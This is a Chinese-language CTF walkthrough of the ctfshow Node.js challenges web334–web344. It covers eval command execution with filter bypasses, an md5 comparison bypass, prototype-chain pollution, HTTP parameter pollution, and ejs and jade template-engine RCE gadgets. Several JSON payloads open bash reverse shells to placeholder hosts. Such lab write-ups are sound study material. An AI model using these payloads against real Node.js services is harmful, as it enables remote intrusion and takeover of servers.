题前准备
简单了解下node.js,我对他的了解就是写过一点点的electron,然后就是老用npm来补网易云的一些插件XD。
语言特性了解:
https://f1veseven.github.io/2022/04/03/ctf-nodejs-zhi-yi-xie-xiao-zhi-shi/
后面几个重量级的暂时先学会利用,等语言熟悉了再跟着复现。
web334
文件读取,rce拼接bypass
下载并解压相关代码:
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
尝试登录:
注意不要抄大写!登录之后就有flag了。
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
web335
传入之后发现是eval函数。传入1之后返回了1 。
这里找一找nodejs的危险函数:
child_process:http://nodejs.cn/api/child_process.htmlchild_process.exec(command[, options][, callback])
命令执行:
require('child_process').execSync('ls');
payload:?eval=require('child_process').execSync('tac fl00*');
web336
加了过滤,过滤exec
。
传入__filename
读取文件位置,其他相关的变量:
- __filename - 当前 eval 代码运行的文件名
- __dirname - 当前 eval 代码运行的文件夹路径
- __line - 当前 eval 代码运行的行号
- __column - 当前 eval 代码运行的列号
当然知道位置了,就可以读取文件了:
require('fs').readFileSync('/app/routes/index.js','utf-8')
jsbeautify一下方便阅读,发现过滤了exec和load两个关键字符
var express = require('express');
var router = express.Router(); /* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var evalstring = req.query.eval;
if (typeof(evalstring) == 'string' && evalstring.search(/exec|load/i) > 0) {
res.render('index', {
title: 'tql'
});
} else {
res.render('index', {
title: eval(evalstring)
});
}
});
module.exports = router;
看了payload是通过拼接来达成运行的。
require("child_process")['exe'%2b'cSync']('cat flag.txt')
//(%2b就是+的url编码)
require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")
web337
源码:
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
js中有比较抽象的绕过md5方法:
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
a[x]=1&b[x]=2,数组会被解析为[object Object]
测试比如:
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
a=[1]
b=[2]
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
输出如下:
[object Object]flag{xxx}
[object Object]flag{xxx}
1flag{xxx}
2flag{xxx}
web338
原型链污染
建议直接看上面的链接文章。讲的太好了,适合我这种菜狗。
这里就提一段代码:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
这段代码基本就可以介绍原型链相关内容。
比如说这道题的:
var secert = {};
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
这里的secret就可以被原型链污染,具体在下面的utils/commons
位置导致污染。
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
utils.copy(user,req.body);
这里达到了覆盖的效果。
我们传入payload测试一下:
{"__proto__":{"ctfshow":"36dboy"}}
注意,传入包的格式应该是:application/json
但是这里我不知道为什么传入路由是/login
而不是/
web339
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
//console.log(user.query)
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
if(secert.ctfshow===flag){
这里已经没办法实现了
那就只能找别的地方了。
api.js中新增的内容:
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
这其中的query也是可以被操控的,比如:
用一下payload:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/XXX/8888 0>&1\"')"}}
先/login那里污染一下发包,然后再post访问一下/api即可。
loginPOST传入之后,再访问就成功弹shell。
flag文件在routes下login.js中
Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。
非预期
非预期的原因就是这题用了ejs模板引擎,这个模板引擎有个漏洞可以rce:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}
web340
这段核心代码是:
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
这里new了一个匿名函数并赋值给userinfo。this.userinfo的__proto__属性指向的是那个匿名函数的prototype属性:
this.userinfo.__proto__ === function(){}.prototype
匿名函数的prototype属性又继承自Object.prototype:
function(){}.prototype.__proto__ === Object.prototype
因此:
this.userinfo.__proto__ -> function(){}.prototype -> Object.prototype
因此需要套两层才能污染原型链。
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xxx 0>&1\"');var __tmp2"}}}
污染+利用
web341
ejs原型链污染
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.111/11111 0>&1\"');var __tmp2"}}}
其中的_tmp1和tmp2是为了闭合代码。
还是先在login中post污染,然后访问/就可以接到shell。flag在根目录。
**web342-web343
https://xz.aliyun.com/t/7025
https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/#0x02-jade
https://tari.moe/p/2021/ctfshow-nodejs#fee3a3930b854ee8b473db3cf3747056
jade
改用jade了,哈哈这wp我都看不懂,太抽象了。
省流一下,payload:
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/xx 0>&1\"')"}}}
还是login污染,根目录激活。
web344
HPP数据污染
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
?query={"name":"admin","password":"ctfshow","isVIP":true}
逗号会被过滤。url
node.js处理的特点和JSON.parse,另外一个点就是req.url是经过url编码的、
但是%2c中的2c也被过滤掉了。
HTTP协议中允许同名参数出现多次,不同服务端对同名参数处理都是不一样的。
nodejs处理传入数组时,不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析。
也即是如下payload:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
这里把c进行url编码,是因为双引号的url编码是 %22,和c连接起来就是 %22c,会匹配到正则表达式。
(这里始终没理解,有2c的话不就直接寄了吗?怎么能传进去。)
传入解析
Web服务器 参数获取函数 获取到的参数
PHP/Apache $_GET(“par”) Last
JSP/Tomcat Request.getParameter(“par”) First
Perl(CGI)/Apache Param(“par”) First
Python/Apache getvalue(“par”) All(List)
ASP/IIS Request.QueryString(“par”) All (comma-delimited string)